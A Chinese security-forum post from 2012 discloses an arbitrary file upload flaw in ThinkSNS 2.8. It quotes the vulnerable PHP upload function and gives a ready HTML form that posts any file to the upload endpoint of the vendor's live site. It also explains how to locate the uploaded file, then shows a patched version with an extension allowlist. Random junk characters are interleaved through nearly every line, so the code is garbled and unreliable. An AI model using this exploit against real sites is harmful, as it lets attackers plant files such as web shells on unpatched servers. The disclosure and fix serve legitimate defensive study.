找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2120|回复: 0
打印 上一主题 下一主题

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:12:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
# J; W: f1 `3 Y( d0 L) X3 S1 c, w, s2 _" {8 w2 G
7 _& @# x' M- M1 R3 E
\api\StatusesApi.class.php
& t: _7 t# _. i . P" C2 B- i% k7 G0 k
function uploadpic(){
4 g" i3 E( {. _% b4 h- D5 V. w      if( $_FILES['pic'] ){( k, z, a) t  ?: F# k8 |$ ~
     //执行上传操作
; c0 o4 P6 v4 z; A     $savePath =  $this->_getSaveTempPath();
8 Y8 U/ ~( c" d( z% Y     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);) Z2 H3 Q7 j/ E2 D
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename)). d, K) G& M5 M4 ^4 S
       {
$ V" m5 T9 \0 F+ S- k9 v; p; {        $result['boolen']    = 1;
- I0 {" t( V% m. F8 V; j; _        $result['type_data'] = 'temp/'.$filename;
% J* f. Y" K& b) [2 }* `1 N! z* Y        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
: z5 A  Q3 i4 b6 I1 A/ c       } else {# S" r; d! Y6 J$ c4 ^
        $result['boolen']    = 0;3 v" A: n6 [" Z$ T; f( c( I
        $result['message']   = '上传失败';4 Z$ l0 p+ o% b: U' n2 Z' P
       }5 t' `/ g; F" A
     }else{6 T+ x/ u9 a3 v$ T6 C: r
         $result['boolen']    = 0;9 t! T* W, U5 d% f* v0 j& A
         $result['message']   = '上传失败';. P' Z5 ^5 s2 K3 A7 L8 D
     }
2 u, R3 u. z( s( @, Z+ H& sreturn $result;* |8 w1 C1 ]* |, E
    }
8 h5 W$ Y! \, F: |4 Wunloadpic()方法没有对文件类型进行验证6 x3 {9 P. ~4 O0 U. c9 S6 r4 K

0 r) v+ r/ }, @: B% n6 V( [可以构建表单, 选择任意文件, 提交到
/ I8 @4 y2 n0 X& ]/index.php?app=w3g&mod=Index&act=doPost
1 }) V/ b; W9 v
" c7 q" E- v- i在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)3 m% F  h/ ~" Q' f: I
. W& F; c3 E7 l, `- i

- U( b# ~" s& y5 [# R在登录thinksns官方微博后,/ A% D; a' z8 N0 p/ P
构建以下表单:
- c7 L  \$ Z, u* K1 V2 W & j- f+ V6 l) o' W% `* f3 a. U
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />* l2 h, h, N. z! E
<textarea name="content">test</textarea>" Q$ C1 A4 [) z0 g- A% p1 c
file: <input id="file" type="file" name="pic" />
* {) P# f# ]9 p<input type="submit" value="Post" />
5 e3 N3 Y- K+ m' \; T  c6 K+ p</form>& U! W+ v& ^2 P+ S4 T2 |
去掉缩略图的前缀(small_ )
4 I8 E7 [8 Z8 l9 s# e- c6 K* A1 |6 G​修复方案:* Q9 O+ Y. a/ n, g) V- p6 Y

0 i1 k' t8 b$ F1 o3 p5 S& y3 R( t. T! u7 Z& s2 c
\api\StatusesApi.class.php7 E4 {( p+ b: s- [9 g# L

! Z4 u* `' c* J/ `7 L( J1 J0 Xfunction uploadpic(){$ \. r9 V9 ]- U0 s  ?5 q9 T
     /**: p" L/ ?' _$ v! l" U  U
      * 20121018 @yelo4 ?! y4 R- V+ E4 v. E7 m8 {
      * 增加上传类型验证; B  k2 q0 C+ O+ ^# q, n  {: _
      */
/ `5 Z, \# ~" f( ]; S: z     $pathinfo = pathinfo($_FILES['pic']['name']);+ ?8 v, [) u- a( \+ X' H5 A
     $ext = $pathinfo['extension'];( h, t. K8 i0 m5 I3 @- n3 O( |
$allowExts = array('jpg', 'png', 'gif', 'jpeg');5 A. q9 G, W0 a" S

; c1 b: g8 e+ @6 p4 a: w9 @! u     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);8 _% X5 J+ R' t7 l7 d, z- K( A
2 J4 v7 f6 n, Y
     if( $uploadCondition ){
% n4 z4 [6 p& A     //执行上传操作
/ j) W5 U1 W5 m' D     $savePath =  $this->_getSaveTempPath();
, ~/ X& J. R5 T: r& O     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);$ F8 Q5 @, e# T* X, {. D4 J7 Q  A! r
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename)), z, ^7 V+ G$ G5 E0 u" s) r
       {" h( l6 u/ I& |& [& O, m& ^
        $result['boolen']    = 1;
5 ]! u8 A4 \( y" w& O) ]        $result['type_data'] = 'temp/'.$filename;
( q' Q+ G; T8 r  Q& T        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
6 B: U, d. i8 ?  t& C. Y+ [1 R       } else {0 d0 K2 u9 I" R
        $result['boolen']    = 0;: r+ k9 S. j# f  P9 }
        $result['message']   = '上传失败';4 x( S( c4 U/ V7 f2 u7 r3 r8 V3 b  Q
       }
1 E" U! Z# ]; U4 ~9 u, E4 Z! b" l$ d     }else{
8 A, ^7 c# X& Q, Y% y         $result['boolen']    = 0;- y- h' p# r, \& u( e
         $result['message']   = '上传失败';; F' x! o, d( ?" p2 Y: u
     }, @; Z* f. y$ O  L2 ~
return $result;" q, ^6 u8 {2 x% o
    }+ s7 \) i1 \7 ~+ y
& E' ], T( c) t
7 h# |, Y& }6 l  X) y7 O. d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表